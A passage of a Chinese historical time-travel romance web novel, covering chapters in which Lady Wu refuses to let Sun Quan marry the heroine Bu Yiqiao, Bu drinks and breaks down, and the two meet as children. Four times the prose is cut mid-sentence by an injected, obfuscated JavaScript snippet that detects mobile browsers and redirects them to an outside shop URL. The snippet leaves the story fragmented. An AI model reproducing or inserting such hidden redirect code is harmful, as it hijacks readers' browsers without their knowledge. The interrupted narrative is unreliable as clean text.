孙贲返回豫章,带走了孙辅,依言软禁于豫章郡府,由其兄长监视。因孙权令中未提及其子嗣,孙辅的儿女们得以幸免,后来亦在东吴出仕。 尘埃落定,步一乔才幡然醒悟。 “我好像……又改写历史了。” 原本的历史中,孙辅被囚禁数年后,因念及亲人,幽闭而终。可若关押在兄长身边,孙辅或少了思念,不至于早逝。 “权当救人一命吧,了却兄弟之间的相思之苦吧。” 徐夫人煮了热茶,斟一盏推到她面前,柔声道:“多谢步姑娘挺身相助,让此事落得圆满。” “夫人的母族可还安好?” “已寄去书信问候。孙辅虽出言警告,但曹操何等聪明,怎会轻易动手?” 言罢,徐夫人忽然起身,毫无征兆地伏地叩首。步一乔茶盏刚送至唇边,惊得赶忙放下,也一同跪了下去。 “夫君与我酿下大错,姑娘不仅相助隐瞒,更涉险追查真相……妾身不知何以为报!” “赠人玫瑰,手有余香嘛,夫人快起来!这若被人瞧见可如何是好?” “至少容我夫妻二人报答姑娘,否则……” “真的不必!您看,我如今安然无恙,已是幸事——” 徐夫人再度叩首,言辞恳切。步一乔四下张望,慌得去扶她起身,却听一道沉稳的声音自身后响起: “这是做什么?” 两人蓦然回首,只见吴夫人由侍女搀扶着立在庭前。步一乔顾不得臂上伤势未愈,忙拉着徐夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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步一乔感到一股无形的压力笼罩下来。她稳住声音,沉住气开口: “一乔虽无家世,但正因如此,我与江东任何势力都无瓜葛,身家清白,心中唯有仲谋一人。这难道不也是一种‘稳妥’吗?我不会成为任何一方势力在内庭的延伸,只会是纯粹属于他的力量。” 吴夫人微微摇头,嗤笑道:“张昭先生说得没错,你确实是个聪明的孩子。这天下终究是男人的。男人在前线浴血,女人帮不上忙。我们不过筹码,是连接家族的桥梁,除此以外,别无他用。” 步一乔迎上吴夫人的目光,道:“夫人此话,也包括自己吗?” “自然。” “孙坚将军当年白手起家,开创基业;伯符十八岁领兵,横扫江东。这每一寸江山,夫人当真觉得与自己毫无关系?” 吴夫人端坐的身形几不可察地微微一震。 步一乔不退反进,愈发激进,忘了身份。 “夫人还记得自己姓什么吗?还记得吴氏在江东是何等地位吗?恕我直言,当年若没有夫人毅然下嫁孙坚将军,以吴氏之力鼎力相助,孙氏绝无今日基业。” 吴夫人的指尖在袖中收紧。 她看着眼前目光灼灼的少女,仿佛看见了当年的自己,那个在父兄迟疑时,一力主张押注孙坚的吴家女儿。 但她现在是孙氏的主母。 “你既提起往事,便该知道,正是因为我清楚自己肩负着吴氏与孙氏两族的兴衰,才更明白何为取舍。” 吴夫人缓缓起身,居高临下地凝视着步一乔。 “仲谋今日能为你破例,来日便能因你授人以柄。你的存在本身,就是他最大的软肋。” “夫人——” “你以为我在与你商量?”吴夫人打断她,一寸不让,“我今日见你,是给你体面。若你执意不肯离开,待到他日群臣联名上书,你猜仲谋是保你,还是保这江东基业?” 步一乔脸色微白,历史面前,自己微不足道。 “孙权他……不可以。” “你是聪明人。话,我也不必说得太尽,给你留情面。” 吴夫人转过身。 “想好去路,我会助你。但你,必须离开江东。” 57. 月落空门 前夜。 “走吧,我送你回去。” 孙权牵着上步一乔的手,自然而然地转向厢房方向走去。他步调刻意放得很慢,迁就着她还有些虚浮的脚步。 “送我?你还有要事要办?” “嗯,得办,顺便撒撒气,叫你欺负我。” 步一乔先是愣住,随即发自内心地笑出声来,任由孙权牵着手,指尖在他掌心挠了挠。 “讲讲道理,到底是谁欺负谁啊!” 她望着孙权笑得恰如寻常少年的侧脸,心头一暖,自己也像回到了懵懂年岁,忘了所有顾忌。突然拽住他的手,雀跃地奔向院中空地。 “啊!好痛!” 手臂的伤似乎落下了病根,一用力便会疼。步一乔苦笑着哀嚎,孙权见她哭笑不得,满脸无奈地托住她手肘。 “你啊,这般莽撞,日后如何担当主母之责?” “谁?我?主母?”步一乔靠在他臂弯里先笑为敬,“你看我哪有半点主母的样子?” “是啊,”他故作沉吟,“这可如何是好?” “还能怎么办,你娶氏族家的大小姐,不就行了?不过嘛——” 步一乔倏地转身撞进孙权怀里,额头抵着他的胸膛。 “我才不要你碰别的女人,只许碰我。不管是哪儿,厢房也好,书房也罢,哪怕是在这儿,也只许你碰我。” 孙权突然捧起步一乔的脸,在冬夜白雾里准确衔住两片唇。待她呼吸不上来,软绵绵地靠在他胸前喘息时,才低笑着开口: “当然。只与你。” * 晨光透过窗棂,孙权站在母亲院外,自觉地整理了下衣袖。踏入室内,吴夫人刚放下汤药的碗。 “仲谋来啦。” “来看望母亲,进来身子可好些?” “也就那样吧,许是你父亲想我,催我去寻他了。” “孩儿却盼母亲长命百岁,只好请父亲多等些时日了。” 吴夫人轻笑:“整日整夜有人陪,你哪里需要母亲?” “孩儿今日正为此事而来。” “是与那位步姑娘有关?” “是。孩儿想娶她为妻,望母亲准许。” 室内静了一瞬。 “可以。” 孙权心头一松,唇角刚扬起,吴夫人接下来的话却让他僵在原地。 “纳为妾室,择个吉日正式迎入府中便是。” 他怔住,几乎以为自己听错了:“母亲,儿子是说,明媒正娶,她为我正妻。” “我听得清楚。正因如此,才更要告诉你,她的身份、地位,只可为妾,不可为妻。此事没有商议的余地。” “母亲!” “谢氏一直想同我们联姻,他家姑娘也因你待字闺中多年。你想娶步一乔,可以,但前提是她为妾,谢氏为妻。” “孩儿不答应。” “那就不必再谈什么准不准!” 吴夫人声调陡然拔高。 “你如今是江东之主,你的正妻岂能由着你个人喜好?她一介孤女,无宗族倚仗,无显赫声名,你让她如何服众?那些跟随你父兄、跟随你出生入死的文臣武将,会如何看待一个来历不明的女子成为他们的主母?” “孩儿不需要靠姻亲来稳固权势!”孙权斩钉截铁。 “你需要!”吴夫人霍然起身,“你以为孙家有今日,靠的只是命?昨日我还在与先生商议,欲为你求娶陆氏之女。江东各大氏族家的小姐,哪个不能在你需要时倾力相助?你娶她,除了满足一己私情,于江东何益?” “一乔不是普通的姑娘!”孙权整理好情绪再次开口,“母亲,孩儿心中,唯她一人。若不能娶她为妻,我宁愿——” “宁愿什么?”吴夫人厉声打断他,“宁愿不要这江东基业?你父兄在天上看着,你就是这般回报他们的?!” 她走到孙权面前,看着他紧绷的脸庞和泛红的眼眶,语气稍稍放缓。 “母亲是为你着想,为江东着想。你如今不是伯符身边的将领,是他托付江山的君王。仲谋,你现在觉得情意重过一切,可待他日群臣非议、内外交困时,将她置于风口浪尖,你必然悔不当初。” 她将手轻轻按在儿子僵硬的臂膀上。 “你若真为她好,便给她一个安稳的容身之所。妾室之位,已是破格。也是母亲,所做的最大让步。” 孙权始终垂眸,一言不发。 门外,步一乔靠着墙壁,双眼空洞。 吴夫人说的话她何尝没想过,正是预见到这般局面,她才屡屡拒绝孙权的求婚。 没想到今早孙权说“有事要办”,竟是来向母亲摊牌。 此刻她只后悔自己不该一时好奇跟来。 步一乔叹息着抬眸,望向远处站在洞门后的女子。对上视线,步一乔听见屋中的男子低沉着嗓音,说了句“孩儿明白了”后,抬脚离开吴夫人的厢房。 望着孙权离开的背影,步一乔转身往后院去。 徐夫人正在亭中为孙翊缝补衣裳,步一乔坐在她对面。抛开方才的愁绪,步一乔想了些别的,和徐夫人在亭中上演了出报恩大戏,恰好被出来透气的吴夫人撞见。 “你以为我在与你商量?”吴夫人打断步一乔的话,“若你执意不肯离开,待到他日群臣联名上书,你猜仲谋是保你,还是保这江东基业?” 步一乔脸色微白,“孙权他……不可。” “你是聪明人。话,不必说得太尽。” 吴夫人转身离去。 “想好去路,我会助你一程。你,必须离开江东。” * 待吴夫人离开,徐夫人又从暗处出现,看着步一乔无精打采地走来,顿时全明白,牵着她的手往厢房中引。 “喝点热茶?还是,我叫人取酒来?” 步一乔坐在徐夫人厢房中的暖炉旁,苦笑道:“我不怎么饮酒。但,今日想一醉方休。醉到不省人事,畅快睡一觉。” 徐夫人会意地点头,转身吩咐侍女。不多时,一壶温好的酒并几样小菜便送了上来。她亲自斟了一杯,推到步一乔面前:“这是江南的米酒,不烈,尝尝。” 步一乔接过酒杯,指尖在杯沿轻轻摩挲,忽然轻声问:“徐夫人,你说我们女子,是不是注定要活在别人的期望里?哪怕做了再多,传给后世的,顶多一句话,还不见得有人注意。” 徐夫人微微一怔,在她身旁坐下,也给自己斟了一杯。酒液入喉,她才缓缓道:“生于乱世,本就不易,不分男女。” 步一乔望着杯中晃动的白,仰头将酒一饮而尽。 “一点都不辣,有没有烈一点的酒?” “我担心你……当真没问题?” “试试看吧。”步一乔扯出一个笑容,“放心,我惜命得很,还舍不得这么年轻就香消玉殒。” 徐夫人凝视她片刻,终是轻叹一声,唤来侍女:“去取那坛会稽老酒来。” 待侍女抱来酒坛,步一乔已经微醺。她托着腮,眼神迷离地望向徐夫人。 “徐夫人……啧,怎么也是徐夫人。夫人名什么?我叫你名字吧。” “媛。徐媛。” “徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710585|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媛……果真人如其名。”步一乔又饮下一杯新斟的烈酒,“夫人擅长占卜,有预知过自己的将来吗?” “天命不可窥,知晓了,又能如何?”徐媛为她斟满酒,“就像明知这坛酒会醉人,你不还是想尝?” 步一乔轻笑出声,笑声里带着几分苦涩。 “是啊,明知是场鸿门宴,却仍偏偏,甘心赴宴。”她又看向几杯下肚,仍面不改色的徐媛,“夫人呢?若是将来某日,你预感到三公子有难,劝他别去,他不听,惹来杀身之祸,你会如何?” 徐媛执壶的手微微一滞,她抬眸看向步一乔,笑道:“姑娘此问……倒像是知道些什么。” 话虽如此,徐媛还是认真思索起来。 “若真到那一步……夫妻一场,许会替夫君报仇吧。” “嗯……是的。” 后来的徐媛,也的确这么做的。 此刻坐在步一乔对面的女子,将来会亲手为夫报仇,在这个男权当道的时代,完成一场惊世骇俗、计划周密的复仇。 徐媛见步一乔神色恍惚,不由莞尔:“怎么倒像你已经看见了似的?难道正如天命所说,姑娘来自千年之外?” 步一乔仰头饮尽杯中酒,烈酒灼喉,却让她格外清醒。 “夫人的占卜之术,到底准不准?你说我与他孙权是命定的姻缘。无法一生一世一双人的姻缘,也能算姻缘吗?那不叫夫妻,叫……夫妾。世上哪儿有这个词。” “步姑娘醉了呢。” “我很清醒。”步一乔指尖叩着心口,“二十一年来,我一直都很清醒。知道自己想要什么,就去争取什么,改变什么。若是失败,也能理所当然地接受。” 无法改写孙策的命运,保不住腹中尚未成形的孩子,她都能接受。 “可是……为什么我无法接受他和别人在一起……明明我比谁都清楚,将那些个夫人的名字倒背如流……可我为什么……” 泪水无声地滑落,在檀木桌案上晕开深色的痕迹。 “为什么这里会这么痛?脑袋要炸开了……好痛苦……” 徐媛将手覆在她颤抖的肩上,无声地叹息。 “只怪生不逢时吧。或许轮回以后,几百几千年后,步姑娘所望的一生一世一双人,会实现的。” 此生,恐怕没有机会了。 步一乔抬起哭花的脸,就着酒壶将半壶酒一饮而尽。漫出的酒液打湿了衣裳,辛辣刺喉,哭得更厉害。 “怪我……若是伯符称王,孙权为臣,一切都将圆满……” 若他不为君王,便无需承担如此重责。 酒意翻涌间,她仿佛又看见紫发髯碧色眼眸的少年在廊下回头,对她展眉一笑。 “自欺欺人罢了……我改写的哪里是孙吴历史……是孙权这个人啊……” 若自己从未出现,孙权依然是那个冷静自持、少年老成的江东之主,不会为情所困,不会进退两难。 “吴夫人说得对,我只可为妾,不可为妻。我做不了他的妻子,无法成为孙氏的主母……” “步姑娘……” 徐媛心疼地看着她,正想出言安慰妾室也未尝不可时,步一乔摇摇晃晃地撑着桌案起身,朝门外走去。 寒风吹得她东倒西歪,差点站不稳。身前的衣裳湿漉漉的黏在身上。落雪了,这副身子骨根本经不住,骨头疼,心脏更疼 望着孙府一派景象,以及院中男人情绪复杂的眼睛,步一乔迷离眼神,唇瓣微张颤抖,大颗的眼泪不自持地落下。 “我步一乔此生不愿为妾。若不成妻,便就此别过。” 58. 春日不迟 门外不知何时,已悄然落雪。 步一乔抬手抹去眼角残泪,扬起一个破碎却倔强的笑容,迎向阶下那双沉静的眼眸。 “我步一乔此生,宁为寒门妻,不做侯门妾。若不成妻,便就此别过,永生不复相见!” 孙权不知在雪中伫立了多久,肩头覆了一层细雪。他抬起冻得发红的手,想要触碰她的脸庞,却怕她躲开,在半空中停住,最终只是沉声道:“我从未想过要你为妾。” 徐媛快步追出扶住差点踉跄倒下的步一乔,轻声道:“麻烦二哥了。” 她紧紧攥着步一乔的手臂,生怕她一不留神就朝前摔下去。 “嗯,有劳弟妹。” 方才命人取酒时,徐媛小声交代侍女,去将孙权喊来。她看着步一乔的模样,心疼得心酸。 孙权从徐媛手中接过醉醺醺的步一乔,熟练地将她搂入怀中打横抱起。 “这是喝了多少?” “半壶酒。”徐媛低声答道,“方才说的都是醉话,二哥莫要放在心上。” 步一乔在熟悉的怀抱里不安分地挣扎起来,双手胡乱推拒着他的胸膛。 “酒没喝完,放我下去!不,我要走了,离开这个伤心恼火之地……” “走去哪儿?这世间万千山河,无一处能比上你在我身边。” 她醉眼朦胧地揪住他的衣襟,嗤笑道:“你以为说些情话我就高兴吗?孙权,你听清楚了,我此生——” “不做妾。”孙权抢过步一乔的话,“我孙权此生,从未想过要让你做妾。” 他的每一个字都掷地有声,风雪交加也格外清晰。 “做妻,然后看你娶一堆老婆,与其他女子举案齐眉吗!” 步一乔愈发激动,攥着孙权的衣领拉扯,撕心裂肺地哀嚎。 “我是什么大度的女人吗?甘心看着你和别人旖旎春事,还要笑着生活在一个屋子里和她们分享我的夫君吗!” 雪花落在她滚烫的脸颊上,瞬间融化。孙权任她在怀中发泄,柔声道:“不会有别人。” 奈何此刻的步一乔听不进任何话。 “你为什么要去提娶妻一事?我知道……你明知道我配不上你孙仲谋夫人的位置……”步一乔的哭声渐渐低了下去,变成断断续续的抽泣,“为什么还要让吴夫人一字一句地来告诉我!!” “没有别人。从来只有你。” “你孙权的夫人嫔妃那么多!各个贤能淑德、家世显赫,我爹妈甚至连公务员都不是!” “从遇见你的第一眼,到之后无数次重逢,从来只有你。”他的指尖拂去她发间的落雪,低沉的嗓音中暗夹着沙哑。 步一乔哭得像个委屈可怜的孩子。 “我不要做你的夫人……我要离开你……我明明已经下定决心要走的……你为什么要来……” 孙权在廊下停住脚步,低头凝视怀中哭得梨花带雨的人儿。 “因为有人说过,若是被流放千里之外,我会舍不得。更何况这段距离,何止千里。” 是千年。 步一乔的哭声戛然而止,怔怔地望着他。 “你……你不许再说话了!”她用力捶打他的胸膛,力道却软绵绵的,“不许再说让我心软的情话了……” 孙权轻笑着将她往上送了点,抱得更稳,抽了抽鼻子,压下心酸温柔谴责。 “酒鬼。害我找你半天。” 步一乔委屈地哽咽:“我人生第一次喝酒……喝与不喝……都很痛……” 孙权将她往怀里又拢了拢,踏雪前行。 “我知道。抱歉,又把你弄哭了。” * 孙权抱着步一乔踏进温暖的厢房,用脚轻轻带上门,将风雪隔绝在外。他小心地将她放在榻上,正要起身去取干净的衣裳给她换上,却被她拽住了衣袖。 “又走……你又要走……”她醉眼朦胧地望着他,眼角还挂着泪珠,“我要不变成男子,做个文官,天天待你身边吧。” “说什么傻话呢,变成男子,如何做我夫人?”孙权坐回榻边,仔细为她拭去脸上的泪痕和雪水,“我不走,你身上被酒打湿了,得换下来。” 步一乔却顺势滚进他怀里,把发烫的脸贴在他胸前。 “你直接将我扒干净,该干嘛干嘛,换什么衣裳!趁我现在神志不清,将我干到昏天黑地啊!年轻人正是精力旺盛的时候,快啊!” 孙权动作一顿,呼吸明显重了几分。他低头看着怀中人酡红的脸颊,只差一点便失了理智。 “喝点酒就变成这样吗。” 步一乔不安分地在他怀里扭动,手指胡乱扯着他的衣带。 “你不是要赔罪吗?就这样赔……让我明天起不来榻……” 孙权倏地握住她作乱的手,呼吸加重。 “你明日醒来若是忘了,我可要伤心了。” “不会忘……至今与你交融的每一次,我都记得清清楚楚……” 步一乔醉醺醺地凑近他耳边,似只暖呼呼的猫,软软地蹭着孙权,气息拂过他颈侧。滚烫的手成功解开他的衣带,开始对着结实的胸腹上下其手。 “好舒服……” “什么?”孙权的声音已经哑得不成样子。 “你的肉……摸着好舒服。”她醉眼迷离地赞叹,手指不安分地划过他紧绷的肌肉。 “……” 孙权是真万万没想到,步一乔喝点酒会变成这般模样。他一时不知该气还是该笑,只得按住她四处点火的手,以防事情发展到一发不可收拾的地步。 “看来以后真不能让你沾酒。” “凭什么!我全身上下你都摸遍了,亲遍了,我摸摸你怎么了!”她不满地嘟囔,另一只手又不安分地摸上他的腹肌,“好紧实的……肉唔嗯——” 话音未落,她的唇已被封住。步一乔在醉意中轻颤、娇嗔,抬起双臂紧紧地环住孙权的脖颈。紧贴的唇舌难分空隙,深深地抵触着来回推拒、交缠。口腔中残留的酒液似乎渡入另一人口中,迷醉了清醒之人。 “仲谋……仲谋……我好痛苦啊……” 她在换气的间隙轻声唤他,不知不觉又哭起来。 “我不想你娶别人……哪怕我不嫁给你,也不想你和别人成亲……” “嗯,不娶,只娶你。” 孙权吻去她眼角的泪,动作轻柔得不像话。 步一乔却哭得更凶了。 “可是他们不会同意的!他们不要我们在一起……他们要你和别的女人……和一群女人在一起……” 边哭,手上还摸着,从胸腹到臂膀。年轻健壮身体上,遍布她的指纹。 “我讨厌这个时代……讨厌这些规矩……更讨厌明明知道结局却舍不下你的自己……” 不该这样和你沉沦入万劫不复,再无法拔|出。 孙权脸上的笑意更甚,宠溺地望着她,一遍一遍擦掉她的眼泪。 “你何时这般心悦我的?” “我不心悦你……” “嗯?” “我爱你。” 孙权的手顿在半空。步一乔醉眼朦胧地望着他,重复道:“孙权、孙仲谋、仲谋、二公子、主公、陛下……我不心悦你,我爱你。” 她凑近他,手掌抵着他的胸膛将人推倒,而后坐在他身上,俯下身,带着酒气的呼吸拂过他的脸庞,耳鬓厮磨。齿尖咬着他的耳垂,像小兔子啃食胡萝卜似的,哒哒哒地啃咬。 空着的那只手也没闲着,指尖先是好奇地描摹他锁骨的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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步一乔被孙权撩得心尖发颤,突然感慨:“倘若,我们不是在建安七年初遇,而是七岁。好想见见七岁少年老成的孙仲谋,到底老成什么模样。看看那时的步一乔,会不会动歪心思。” “说不定,我们真在七岁见过。” “啊?” 孙权手臂揽上她的后背,将人拥入怀中。 “七岁那年,我随兄长入山狩猎,不慎迷了路。天色渐暗,又下起大雨,只好寻了山洞过夜。直等到次日天明,兄长才在找到我。据说我独自坐着,看不出害怕,倒像伤感。” 孙权七岁(189年),孙坚正于长沙起兵,妻子留于庐江。 “我小时候也发生过类似的事。” 年初溪边,步一乔第二次穿越至此,面对思念父亲哭哭啼啼的孙仲谋,曾讲述过这个故事。 “嗯,我记得。自那日后,我便时常在想,或许,我们早就见过。” “你是说……小时候?” 幼时走失,害怕爸爸找不到自己,便坐在奶奶的坟前等。后来听爸爸说,他去坟前看过好几遍,都不见人影。 穿越的条件与死亡有关……坟冢…… 一个不可思议的念头如电光石火般劈入脑海。步一乔猛地从他怀中抬起头,一双眸子却亮得惊人,紧紧盯住孙权。 “……不会吧?” 世上怎么可能存在如此命中注定的事情?! 59. 春光 【古代男二十行冠礼,女子十五行笄礼,成年后取“字”。成年之前,皆已乳名或小名称呼,全名只可长辈与自己称呼。本文中为创作需求,暂且忽略这一点,故此说明】 中平六年,亦即初平元年。 灵帝驾崩,董卓专政,群雄崛起。 时年孙坚于长沙任职,妻子留于庐江。孙坚与吴夫人共生养七个孩子。 长子孙策十四,大女儿八岁,次子孙权七岁,三子孙翊六岁,庶子孙匡一岁。二女儿孙尚香与三女儿尚未出生。 庐江舒县,孙府,春。 “仲谋!别整日对着竹简了!走,兄长带你进山狩猎去!” 孙策闯进书房,破坏一室安静。孙权自书卷中抬起头,略带无奈地看向一身短打、箭袖利落的兄长。 “兄长若得闲暇,我这儿有一卷《春秋》,可静心一读。” “读什么书!这般好的春光,闷在屋里岂不辜负?” 孙策不由分说,一把夺过孙权手中的竹简丢在案上,攥住他的手便往外拉。 走出房门,孙翊早已束紧腰带,佩好小弓,见到两位兄长出来,兴奋得小脸通红。 “二哥看我!今日我要与兄长比赛!” “好哇!”孙策朗声大笑,用力拍了拍幼弟的头,“今日咱们三兄弟就来比比,看谁猎获最多!” 孙权接过孙策硬塞过来的弓箭,平静道:“猎物优劣,岂能以数量衡量?当以其稀有与否,或是——” “哎呀,仲谋你怎地总像个小古板!”孙策笑着打断他,揽过他的肩头,“兄长定的规矩!叔弼,跟上!” “来了!” 吴夫人抱着襁褓中的孙匡闻声步出厢房,心知拦他们不住,只得扬声道:“定要在太阳落山前回府!” “母亲放心!孩儿们记下了!”孙策爽快应承。 孙权回头,见母亲怀中的孙匡睁着眼,也兴奋地挥舞小手,似乎亟欲跟上。心下一软,挣脱兄长的手跑上前,摸摸幼弟的头。 “阿匡乖乖在家等哥哥回来,晚上念书给你听。” “二、哥!”孙匡口齿不清地唤道。 “嗯,这次认对了。”孙权唇角微扬,“我是二哥。至于最吵闹的和第二吵闹的,那是大哥和三哥。” “仲谋!莫再耽搁了!速速跟上!” 孙策一手拉着一个弟弟,风风火火便朝城外山中奔去。 春日阳光透过新发的嫩叶,孙翊兴奋地冲在最前,不时回头催促两位兄长。 “大哥、二哥,我去这边!定要猎只獐子给你们瞧瞧!” “小心着点,别跑太远!” 孙策扬声叮嘱了一句,转而看向身旁已然端起弓箭、神色专注打量四周的孙权,不由得咧嘴一笑。 “这才对嘛,仲谋。弓马骑射,方是男儿本色,整日闷头读书,小心把人都读迂腐了。” 孙权目光扫过林间缝隙,轻声应道:“兄长,读书明理,与习武强身并不相悖。知进退,晓谋略,方能行稳致远。” 他话音未落,眼神倏然一凝,手中弓弦已如满月般拉开,指向不远处一丛微微晃动的灌木。 孙策顺着他的目光望去,只见一抹罕见的彩色羽毛在叶隙间一闪而过。 “是锦雉!” 他心头一喜,却屏息凝神,未再出声,生怕惊扰了弟弟瞄准。 箭矢离弦,破风而去,精准地没入灌木丛中。一阵扑棱声响后,便归于沉寂。 “中了!”孙策大喜,用力一拍孙权尚且单薄的背脊,“好小子!眼力真毒!首开纪录便是这等彩头!” 孙权也难得露出笑意,正要上前拾取猎物,另一侧却突然传来孙翊呼喊:“大哥!二哥!” 兄弟二人对视一眼,心知有异,立刻循声奔去。 穿过一片密林,只见孙翊正站在一个陡坡下,仰着头,满脸焦急。坡上一只毛色灰黑、体型不小的野狼,正龇着牙,发出低吼,朝孙翊逼近。 孙策脸色骤变,想也不想便冲上前,将孙翊严严实实挡在身后,同时迅速张弓搭箭,对准那野狼,口中低喝:“叔弼,慢慢退后!仲谋,看准它的动向!” 野狼见人多势众,但并未退却,死死盯住他们。 孙权迅速观察了下地形和野狼的位置,冷静道:“兄长,它左后肢似乎有伤,行动不便。你正面牵制,我绕到侧翼。” “好!”孙策毫不犹豫地应下,弓弦拉得更满,牢牢锁定狼首,吸引其全部注意力。 孙权则借着树木的掩护,悄无声息地向侧方移动,寻找着最佳的射击角度。 就在野狼伏低身体,准备前扑的瞬间—— “咻!” 又是一箭!从侧方刁钻地射出,精准无比地没入了野狼脖颈。野狼发出凄厉的哀嚎,摔倒在地,挣扎了几下,便不再动弹。 “好!临危不乱,一击毙命!仲谋,你这手箭术与胆识,将来必在兄长之上!” 孙权走到孙策身边,看着倒地的野狼,摇了摇头:“是兄长正面牵制之功。若非如此,我难有机会。” 惊魂未定的孙翊也跑了过来,崇拜地两位哥哥。 孙策哈哈一笑,揉了揉孙翊的脑袋:“今日这头狼,可比什么獐子、锦雉都稀罕多了!这回比试,看来是仲谋赢了。” 孙权却道:“若非叔弼发现,兄长牵制,我一人亦难成事。猎物归营地,算是我们三兄弟一同所得。” 孙策更是欣慰,用力揽住两个弟弟的肩膀:“说得好!我们兄弟齐心,其利断金!日后,定能成为父亲身边的得力干将!匡扶汉室!” * 眼见日头西沉,林间光线迅速暗淡下来。 “不好,得快些回去,不然母亲该担心了。”孙策眉头微蹙,环顾四周,“叔弼,跟紧了!仲谋,你走我身侧……” 他话音未落,侧后方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738841|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树丛猛地窜出一只受惊的獐子,孙翊年少好奇,想也不想便追了上去。 “叔弼!别乱跑!”孙策急忙喊道,生怕幼弟有失,也立刻拔腿跟上,“仲谋,我去把他追回来!你认得路,先按来时的方向回撤,我们稍后便来追你!” 孙权还未来得及回应,兄长和弟弟的身影已迅速消失在愈发浓密的林荫深处。 四周蓦地安静下来。只余风过树梢的沙沙声,以及不知名虫豸的低鸣。暮色四合,林间的光影迅速褪去。 兄长之命不可违,独自返程确实是当下最理智的选择。从来淡定自若的孙权,毫不犹豫转身朝着来时的方向迈步。 林间小径曲折,落叶堆积,足迹难辨。 正当他全神贯注辨认路径时,一阵极其细微的、压抑着的啜泣声,却顺着渐起的晚风,断断续续地飘入耳中。 孙权脚步蓦然一顿。 那哭声稚嫩,不似狐精山鬼惑人,倒像是个真正迷了路的女童。 他凝神静听片刻,眼中闪过迟疑。兄长叮嘱言犹在耳,归途亦且漫长,多管闲事恐生枝节。 然而,哭声中满是无助,在这荒山野岭、暮色将至的时分,若真是迷路之人,自己怎可置之不理。 孙权握紧手中的弓,循着哭声传来的方向,小心翼翼地拨开了层层灌木。 一棵高大的树下,一个穿着奇特衣裙的身影蜷缩着蹲在地上,哭得伤心极了。不同寻常的少女发髻,她扎了两个小辫,垂在耳畔。 孙权放缓脚步,走到她不远处停下,出声问道:“你……为何在此哭泣?” 少女被突然响起的声音吓了一跳,尖叫着抬起头来。 泪眼朦胧中,她看见一个身着锦袍、手持弓箭的少年站在面前。他比自己年长些,面容清秀,但那双眼眸里却带着超乎年龄的沉静。 神奇的是,看着孙权少女竟忘了哭泣,呆呆地看着他。尽管他奇装异服,说些奇怪的话,少女仍抽噎着小声回答:“我找不到回家的路,也找不到奶奶的坟了……” 孙权目光微动,这回答着实出乎意料。寻常迷路之人多是寻家寻亲,她却说要寻坟冢。 他不动声色地打量着她奇特的发辫与服饰,却未生出警惕与膈应,柔声问道:“你奶奶的坟冢,在何处?” “就在山里……墓碑上面还刻有奶奶的名字……”少女用手背抹去眼泪,哽咽道,“可是我在林子里转了好久,怎么也找不到……” 孙权沉吟片刻,这山中他随兄长来过数次,未曾见过刻有字的石碑坟冢。然而少女眼中的惊慌与无助不似作伪。 “我知晓南坡一带地势,可领你一寻。”他最终开口道,“但天色已晚,若寻不见,你必须随我出山。” 少女眼中焕发出神采,用力点头:“谢谢你!大哥哥!” “我们应该年纪相仿,你叫我名字吧,我叫孙权,你呢?” “我叫步一乔。” 60. 折柳 “步姓……” 孙权低声重复,这个姓氏在本地并不常见。他不再多言,转身走在前面。 “跟紧我。” 步一乔连忙点头应下,刚想站起身,却没曾想双腿久蹲早已麻木,一屁股又跌坐回去。 孙权听见身后异动,警觉地回头,看到的便是少女跌坐在地、揉着脚踝、龇牙咧嘴的狼狈模样。 清俊的小脸上没什么表情,眸中却略有无奈。 他折返回来,在她面前一步远处停下,并未伸手搀扶。 “腿麻了?” 步一乔疼得眼泪都快出来,可怜巴巴地点头。 孙权安静地等了一会儿,见她依旧站不起来,抬眼扫视四周,从旁捡来一根粗细适中、还算结实的木棍,递到她面前。 “扶着,站起来活动一下便好。” 步一乔看着递到眼前定然会硌手的“手杖”,犹豫了一下,还是伸手紧紧握住。借着木棍的支撑,她咬着牙,晃晃悠悠地站了起来,活动着发麻的双脚。 “……谢谢你。” 孙权只简短道:“小心脚下。”随即转身,在前引路。不过放缓脚步,好让步一乔跟上。 两人一前一后走入愈发幽暗的林间,孙权依着步一乔的描述寻去。 结果自然是什么也寻不到。 山间的天说变就变。方才还晚霞余晖,转瞬乌云压顶。豆大的雨点毫无征兆地落下来,瞬间连成倾盆雨幕。 “不能再走了。” 孙权当机立断,想起附近有一处猎户偶尔歇脚的山洞,顾不上男女有别,拉上步一乔的手。 “跟我来。” “不行我害怕!” 步一乔向后挣脱,雨水让她湿滑的手几乎要脱手。好在孙权握得紧。 